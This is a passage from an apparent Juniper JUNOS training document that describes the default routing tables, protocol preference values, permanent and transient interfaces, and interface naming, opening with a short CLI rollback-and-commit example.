<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz# <strong>rollback 1</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">load complete</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz# <strong>commit</strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">commit complete</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">[edit]</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">user@Shiraz#</span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNOS Software Routing Tables</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The JUNOS software provides multiple routing tables that are used to store routes for our network. Each table is represented within the output of the show route command. The software provides default tables that the operating system builds on an as-needed basis.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">These tables include the following:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet.1</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet.2</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet.3</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet.4</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>inet6.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>mpls.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>bgp.l3vpn.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>bgp.l2vpn.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;"> </span>routing-instance.inet.0</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Each of the default tables contains separate route information. </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNOS Software Routing Table</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Used to store IPv4 unicast routes.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet.1</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Used to store IPv4 multicast routes.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet.2</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Used to store IPv4 unicast routes used by multicast routing protocols to prevent routing loops. This process is called the Reverse Path Forwarding<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet.3</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Contains the egress IP address of a MPLS label switched path (LSP).</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet.4</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Stores information learned using the Multicast Source Discovery Protocol </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNOS Software Routing Table</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>mpls.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Actually not routing but is instead a switching table storing MPLS label</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>routing-instance.inet.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Used to store MPLS VPN routes.<strong><em></em></strong></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>bgp.l3vpn.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Stores routing information in a Layer 3 virtual private network</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>bgp.l2vpn.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Stores routing information in a Layer 2 VPN environment.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Table <em>inet6.0</em></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Routing table contains IPv6 unicast routes.</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNOS Software Preference Values</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Each route in the routing table is assigned a <em>protocol preference </em>value. These values assist the table in selecting the active route when an individual prefix is installed from multiple sources. The preference value informs the routing table which protocols are more believable, with a lower value preferred. The valid value range is between 0 and 4,294,967,295 (2^32 -1). </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-no-proof: yes;"></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNOS Software Preference Values</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"></span></span><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.5in; text-align: justify; mso-layout-grid-align: none;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 1.25in; text-indent: -0.5in; mso-list: l3 level1 lfo20; tab-stops: list 1.25in; mso-layout-grid-align: none; mso-outline-level: 1;"><a name="_Toc222215119"></a><a name="_Toc222215505"><span style="mso-bookmark: _Toc222215119;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;"><span style="font-size: small;">6.</span><span style="font: 7pt &quot;Times New Roman&quot;;">           </span></span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">JUNIPER ROUTER PHYSICAL</span></span></strong></span></a><span style="mso-bookmark: _Toc222215119;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"><span style="mso-spacerun: yes;">  </span></span></span></strong></span></p>
<p class="MsoNormal" style="margin: 5pt 0in 5pt 0.75in; mso-layout-grid-align: none; mso-outline-level: 1;"><span style="mso-bookmark: _Toc222215119;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;"><span style="font-size: small;">    </span></span><a name="_Toc222215506"><span style="font-size: small;">INTERFACS</span></a></span></strong></span><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Types of Interfaces</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A Juniper Networks platform contains two types of</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">interfaces. <strong><em>Permanent </em></strong>interfaces are always present in each router, while <strong><em>Transient</em></strong> interfaces are inserted in or removed from the router by a user. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Permanent Interfaces</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The <em>permanent interfaces </em>on a Juniper Networks platform perform two vital roles—management and operation. The management functionality is performed primarily by the<em>Fxp0 </em>interface. This <em>Management Ethernet </em>interface provides us with an out-of-band method for connecting to the router.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The fxp0 interface on a Juniper Networks router does not provide forwarding capabilities for transit data packets.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The fxp1 interface connects the Routing Engine to the Packet Forwarding Engine. This communications link is how routing protocol packets reach the Routing Engine to update the routing table. The forwarding table updates reach the Packet Forwarding Engine across this interface as well. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Types of Interfaces</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Transient Interfaces</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: small;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Transient interfaces </span></em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">receive a user’s data packet and then transmit that packet toward the final destination.<span style="mso-spacerun: yes;">  </span><em></em></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">These interfaces are physically located on a <em>Physical Interface Card (PIC) </em>and can be inserted and removed from the router at any time. This property gives them their transient nature. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">We must configure each transient interface before using it for operational purposes. In addition, the JUNOS software allows to configure transient interfaces that are not currently in the physical chassis. As the software activates the router’s configuration, it detects which interfaces are actually present and activates only those transient interfaces.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Should we install new physical interfaces in the router (for which some configuration exists), the JUNOS software activates the parameters for that transient interface. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface Naming</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A router’s interfaces are located on a PIC. The PIC is located on a particular <em>Flexible PIC Concentrator (FPC)</em>, which is inserted in a router’s chassis.<span style="mso-spacerun: yes;">  </span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Interface Naming Structure</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The JUNOS software follows a consistent naming structure of</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">media_type-fpc/pic/port.unit</span></span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The portions of the interface names include the following:</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><strong><em><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">media_type</span></span></em></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">A two-character designator that uniquely identifies the type of physical interface </span></span></p>
